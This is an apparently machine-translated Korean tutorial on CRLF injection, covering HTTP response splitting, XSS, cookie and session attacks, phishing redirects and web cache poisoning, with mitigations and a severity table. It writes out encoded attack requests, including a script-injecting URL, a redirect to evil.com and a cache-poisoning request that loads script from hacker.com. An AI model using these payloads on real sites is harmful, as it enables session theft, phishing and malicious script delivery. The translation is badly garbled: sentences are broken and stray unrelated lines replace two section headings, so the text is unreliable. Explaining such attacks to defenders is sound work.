CRLF 는 캐리지 리턴(\r)라인 피드(\n)를 참조하는 데 사용되는 약어입니다. 괄호 안의 기호에서 알 수 있듯이”캐리지 리턴”은 줄 끝을 의미하고”줄 바꿈”은 새 줄을 나타냅니다. 따라서 CR 과 LF 는 모두 선의 끝점을 나타내는 데 사용됩니다. 사용자가 웹 사이트에서 콘텐츠를 요청하면 서버는 HTTP 헤더와 함께 웹 사이트 콘텐츠를 반환합니다. 헤더와 내용은 CR 과 LF 의 정의 된 조합으로 구분됩니다. 서버가 새 헤더가 시작되거나 끝나는 위치를 알고있는 것은 CRLF 때문입니다. 캐리지 리턴 라인 피(CRLF)주입 취약점은 유형의 Server Side 주입을 할 때 발생하는 공격자 삽입 CRLF 문자 입력 필드를 속이 서버에 의해 만들이 생각하는 개체를 종료하고 새로운 시작되었습니다. 이것은 웹 응용 프로그램이 CRLF 문자에 대한 사용자 입력을 위생 처리하지 않을 때 발생합니다. 중간 심각도 등급(Bugcrowd 의 VRT 에 따른 P3)이 있습니다.
CRLF 주입 공격에는 가장 중요한 두 가지 사용 사례가 있습니다.
- 로그 분할: 공격자 삽입하는 라인의 끝자와 여분의 라인을 위조하는 로그 파일에 항목을 기만하기 위해 시스템 관리자에 의해 숨어있는 다른 공격입니다.
- HTTP 응답 분할:CRLF 주입은 HTTP 응답에 HTTP 헤더를 추가하고 예를 들어 정보 공개로 이어지는 XSS 공격을 수행하는 데 사용됩니다.
예:
간단한 요청을 얻을 수 있습 만들어진 다음과 같다:
GET /%0d%0aSet-Cookie:CRLFInjection=PreritPathak HTTP/1.1
참고:%0d 고%0a 인코딩 형태의\r\n 각각합니다. 웹 응용 프로그램이 취약한 경우 공격자는 웹 사이트에서 쿠키를 설정할 수 있습니다.
미치는 영향을 CRLF 주입
CRLF 주입할 수 있을 설정하는 가짜 쿠키를 도용,CSRF,토큰 사용자 정보를 공개 주입에 의해 스크립트(XSS)와 다양한 수행의 다른 공격입니다. 그것은 또한 공격기를 비활성화&보안 조치를 우회처럼 XSS 필터를&동일한 원산지 정책(SOP),에 취약하기 다음과 같은 공격:
1. XSS 또는 Cross Site Scripting
XSS 또는 Cross Site Scripting 은 공격자가 웹 응용 프로그램에 악의적 인 JavaScript 코드를 주입 할 수있는 보안 취약점입니다. 다음 GET 요청은 xss 를 사용한 시도 체인 CRLF 주입으로 제작됩니다.
터지는 경고를 포함하는 민감한 사용자 정보
www.target.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
비활성화하여 XSS 보호
www.target.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
2. 쿠키 주입
HTTP 응답 분할을 통해 공격자는 피해자의 브라우저에서 악의적 인 쿠키를 설정할 수 있습니다. 대부분의 경우,다음과 같은 요청을 얻을 것이 결과에서 307 리디렉션,따라서 피해자로 리디렉션됩니다 target.com &의 URL 에 포함되지 않습 Set-Cookie 매개 변수입니다. 그러나 백그라운드에서 쿠키가 설정됩니다. 나는 이것이 내가 할 수있는 일이 아니라는 것을 알고 싶다. 피싱 공격
공격자는 피해자를 사악한 웹 사이트로 리디렉션 할 위치 헤더를 설정할 수 있습니다. 이 웹 사이트는 대상 웹 사이트처럼 보이도록 개발 될 수 있으며 피해자가 자격 증명을 입력하면 공격자에게 전송됩니다. 위치 헤더는 다음과 같이 설정할 수 있습니다.
GET /%0d%0aLocation:%20https://evil.com HTTP/1.1
4. 세션 고정
쿠키 주입 공격과 유사하게 여기서 공격자는 사용자의 세션 id 를 특정 값으로 설정합니다. 이 링크를 보내자고 할 때 피해자에서 로그를 사용하여 이 세션,공격할 수 있도를 사용하여 로그인이 동일한 세션 id 입니다. 나는 이것을 할 수 없다. HTTP 헤더를 주입
공격자는 활용할 수 있습니다 CRLF 주입을 주입하는 HTTP 헤더에서는 응용 프로그램를 격파하기 위해 보안 메커니즘 같은 XSS 필터 또는 동일한 원산지 정책이 있습니다.
www.target.com/%0d%0aHackersHeader:NewHeader
CORS(원산지 자원을 공유하는)활성화하는 헤더를 주입될 수 있&공격자 자바 스크립트를 사용할 수 있습니다 중요한 리소스에 액세스하는 그렇지 않으면 보호는 SOP(동일한 원산지 정책에)어떤 방지 사이트에서 다른 근원에 액세스할 수 있다.
6. 웹 캐시 중독
웹 캐시 중독하는 기술로 인해 어떤 공격할 수 있는 중독 콘텐츠를 조작하여 웹 캐시입니다. 하기 위해서 성공적으로 악용하려면 이 문제를 공격해 독 취약한 웹사이트의 프록시는 캐싱,배포자,컨텐츠 전달 네트워크(Cdn)또는 기타 캐싱 메커니즘에 사는 클라이언트와 서버입니다. 후에 성공적인 웹 캐시 중독자가 있을 것이 없는 아이디어에 대한 악의적인 콘텐츠를 제공하여 주시기 바랍니다. 아래는 공격자가 웹 캐시를 중독시킴으로써 호스트 헤더 주입(CRLF 사용)을 잠재적으로 악용 할 수있는 방법의 예입니다.다음 요청에 대해
:
$ telnet www.target.com 80Trying x.x.x.x...Connected to www.target.com.Escape character is '^]'.GET /%0d%0aX-Forwarded-Host:hacker.com HTTP/1.1 //or HostHost: target.com
다음과 같은 응답이있을 것입니다:
HTTP/1.1 200 OK
<
title
>Example</
title
>
<
script
src
=
"http://hacker.com/script.js"
>
기타 사용 사례:
1. 가짜 HTTP 응답 헤더 주입:
Content-Length: 10
이제 웹 브라우저는 다음 10 바이트 만 구문 분석합니다.
2 입니다. 주입 가짜는 HTTP 응답 헤더가:
Content-Length: 0
이 있는 것으로 간주됩 종료 응답&웹 브라우저는 시작을 분석 새로운 반응이다.
완화:
개발자를 유지해야는 다음과 같은 일을에서 마을을 방지 CRLF 주입입니다:
- 삭제 사용자의 입력이 있습니다.
- 인코딩 CR&lf 문자(\r,\n)가 제공 되더라도 서버에서 인식되지 않습니다.
- 는 응답 헤더에 도달하기 전에 사용자 입력의 유효성을 검사합니다(예:StringEscapeUtils 와 같은 메소드를 사용하여.나는 그것을 할 수 없다.
- 불필요한 헤더를 비활성화해야합니다.
다음 표는 다양한 산업 표준에 따라 CRLF 주입의 심각성을 강조합니다:
Classification | ID / Severity |
---|---|
OWASP 2017 | A1 |
CWE | 93 |
CVSS:3.0 | CVSS:3.0: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H |
Bugcrowd VRT | P3 |